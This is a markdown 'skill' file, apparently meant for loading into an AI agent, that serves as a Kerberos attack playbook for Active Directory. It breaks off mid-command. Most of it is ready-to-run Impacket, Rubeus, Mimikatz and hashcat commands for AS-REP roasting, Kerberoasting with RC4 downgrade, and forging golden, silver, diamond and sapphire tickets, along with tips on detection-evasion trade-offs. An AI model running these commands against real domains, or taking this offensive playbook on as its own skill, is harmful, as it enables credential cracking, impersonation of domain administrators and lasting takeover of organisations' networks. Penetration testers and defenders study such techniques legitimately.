/active-directory-kerberos-attacks

name: active-directory-kerberos-attacks
description: >-
  Kerberos attack playbook for Active Directory. Use when targeting AD authentication via AS-REP roasting, Kerberoasting, golden/silver/diamond tickets, delegation abuse, or pass-the-ticket attacks.

SKILL: Kerberos Attack Playbook — Expert AD Attack Guide

> **AI LOAD INSTRUCTION**: Expert Kerberos attack techniques for AD environments. Covers AS-REP roasting, Kerberoasting, golden/silver/diamond/sapphire tickets, delegation attacks, pass-the-ticket, and overpass-the-hash. Base models miss ticket type distinctions, delegation chain nuances, and detection-evasion trade-offs.

0. RELATED ROUTING

Before going deep, consider loading:

• [active-directory-acl-abuse](../active-directory-acl-abuse/SKILL.md) for ACL-based AD attacks often chained with Kerberos
• [active-directory-certificate-services](../active-directory-certificate-services/SKILL.md) for ADCS-based persistence (golden certificate)
• [ntlm-relay-coercion](../ntlm-relay-coercion/SKILL.md) for NTLM relay attacks that complement Kerberos abuse
• [windows-lateral-movement](../windows-lateral-movement/SKILL.md) after obtaining tickets for lateral movement

Advanced Reference

Also load [KERBEROS_ATTACK_CHAINS.md](./KERBEROS_ATTACK_CHAINS.md) when you need:

• Multi-step attack chains combining Kerberos with ACL abuse, ADCS, and relay
• End-to-end scenarios from foothold to domain admin
• Chained delegation attack flows

---

1. KERBEROS AUTHENTICATION PRIMER

Client              KDC (DC)              Service
  │                   │                     │
  │── AS-REQ ────────→│                     │  (1) Request TGT with user creds
  │←─ AS-REP ─────────│                     │  (2) Receive TGT (encrypted with krbtgt hash)
  │                   │                     │
  │── TGS-REQ ───────→│                     │  (3) Present TGT, request service ticket
  │←─ TGS-REP ────────│                     │  (4) Receive TGS (encrypted with service hash)
  │                   │                     │
  │── AP-REQ ─────────────────────────────→│  (5) Present TGS to service
  │←─ AP-REP ──────────────────────────────│  (6) Mutual auth (optional)

---

2. AS-REP ROASTING

Users with "Do not require Kerberos preauthentication" can be queried for AS-REP without knowing their password.

Enumerate Vulnerable Users

# Impacket — from Linux
GetNPUsers.py DOMAIN/ -usersfile users.txt -dc-ip DC_IP -format hashcat -outputfile asrep.txt

# Impacket — with domain creds (enumerate automatically)
GetNPUsers.py DOMAIN/user:password -dc-ip DC_IP -request

# Rubeus — from Windows (domain-joined)
Rubeus.exe asreproast /format:hashcat /outfile:asrep.txt

# PowerView — enumerate users
Get-DomainUser -PreauthNotRequired | Select-Object samaccountname

Crack AS-REP Hash

# Hashcat mode 18200
hashcat -m 18200 asrep.txt rockyou.txt --rules-file best64.rule

# John
john asrep.txt --wordlist=rockyou.txt

---

3. KERBEROASTING

Any domain user can request TGS for accounts with SPNs. The TGS is encrypted with the service account's NTLM hash.

Request Service Tickets

# Impacket
GetUserSPNs.py DOMAIN/user:password -dc-ip DC_IP -request -outputfile tgs.txt

# Rubeus (from Windows)
Rubeus.exe kerberoast /outfile:tgs.txt

# Rubeus — target specific SPN / high-value accounts
Rubeus.exe kerberoast /user:svc_sql /outfile:tgs_sql.txt

# PowerView + manual request
Get-DomainUser -SPN | Select-Object samaccountname,serviceprincipalname
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/db.domain.com"

Crack TGS Hash

# Hashcat mode 13100 (RC4) or 19700 (AES)
hashcat -m 13100 tgs.txt rockyou.txt --rules-file best64.rule

# RC4 tickets crack much faster than AES256 — target RC4 if possible
# Rubeus: /tgtdeleg forces RC4 on some configs
Rubeus.exe kerberoast /tgtdeleg

---

4. TICKET FORGING — GOLDEN, SILVER, DIAMOND, SAPPHIRE

Golden Ticket

Forge TGT using the `krbtgt` hash → impersonate any user, including non-existent ones.

# Impacket — forge golden ticket
ticketer.py -nthash KRBTGT_HASH -domain-sid S-1-5-21-... -domain DOMAIN.COM administrator

# Mimikatz
kerberos::golden /user:administrator /domain:DOMAIN.COM /sid:S-1-5-21-... /krbtgt:KRBTGT_HASH /ptt

# Rubeus
Rubeus.exe golden /rc4:KRBTGT_HASH /user:administrator /domain:DOMAIN.COM /sid:S-1-5-21-... /ptt

**Prerequisites**: krbtgt NTLM hash (from DCSync or NTDS.dit) **Persistence**: Valid until krbtgt password is changed **twice**

Silver Ticket

Forge TGS using the service account's hash → access specific service only, no KDC interaction.

# Impacket — forge silver ticket for CIFS (file share)
ticketer.py -nthash SERVICE_HASH -domain-sid S-1-5-21-... -domain DOMAIN.COM -spn cifs/target.domain.com administrator

# Mimikatz
kerberos::golden /user:administrator /domain:DOMAIN.COM /sid:S-1-5-21-... /target:target.domain.com /service:cifs /rc4:SERVICE_HASH /ptt

| Target Service | SPN Format | Use Case | |---|---|---| | File shares | `cifs/host` | Access SMB shares | | WinRM | `http/host` | Remote PowerShell | | LDAP | `ldap/dc` | DCSync-like queries | | MSSQL | `MSSQLSvc/host:1433` | Database access | | Exchange | `http/mail.domain.com` | Mailbox access |

Diamond Ticket

Modify a legitimately issued TGT → harder to detect than golden ticket.

# Rubeus — request real TGT then modify PAC
Rubeus.exe diamond /krbkey:KRBTGT_AES256 /user:administrator /domain:DOMAIN.COM /dc:DC01.DOMAIN.COM /ticketuser:targetadmin /ticketuserid:500 /groups:512 /ptt

**Advantage**: The ticket's metadata (timestamps, enc type) matches a real TGT issuance.

Sapphire Ticket

Uses S4U2Self to get a real PAC for the target user, then embeds it in a forged ticket.

# Rubeus
Rubeus.exe diamond /krbkey:KRBTGT_AES256 /ticketuser:administrator /ticketuserid:500 /grou